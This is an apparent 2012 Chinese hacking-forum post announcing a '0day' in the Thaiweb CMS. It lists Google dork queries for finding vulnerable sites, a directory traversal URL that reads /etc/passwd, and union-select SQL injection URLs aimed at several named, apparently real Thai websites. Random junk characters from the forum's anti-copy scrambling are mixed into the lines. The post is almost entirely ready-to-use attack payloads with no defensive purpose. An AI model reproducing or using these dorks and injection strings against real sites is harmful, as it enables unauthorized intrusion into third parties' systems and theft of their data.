找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2061|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:
) u# {  n/ Y" ~/ Y/ l  v9 X7 `; D; Q
/ G4 }2 |4 l9 K4 rintext:powered by Thaiweb
5 r# H8 x, D) p/ m! o8 `
2 b- e. ?3 r) N8 t0 e$ r4 {inurl:index.php?page=board.php9 m4 d5 _; U1 j( w
' D) \+ J2 T7 Y+ ^& `4 d+ x
6 Z1 f3 `, }$ D$ f0 P, o0 {$ C  v2 c

" u/ j4 h9 f/ M9 N利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
3 E; F' x, ^( E! X" m. [1 C4 B1 m6 s* L9 [5 e4 s8 N

# V+ x+ _7 {6 q& y1 L# \( Y1 L6 V; g! ~* T
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'4 ?! N" e# J' ^  L, l
( j* r  W- ?( i/ f3 G

2 `8 T# i* b- q9 {7 g. }+ c: y8 ?$ ^$ l  q7 j8 \' G
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
7 F; ]* s# f* ?1 x& R5 h4 V" t1 S" ]# m2 Q
http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--+ r8 ]* E" t: w! ~# W9 o- f

; g2 D  ^; `# d. ^: y0 P1 shttp://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
0 _3 n( n5 _) B- y( ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表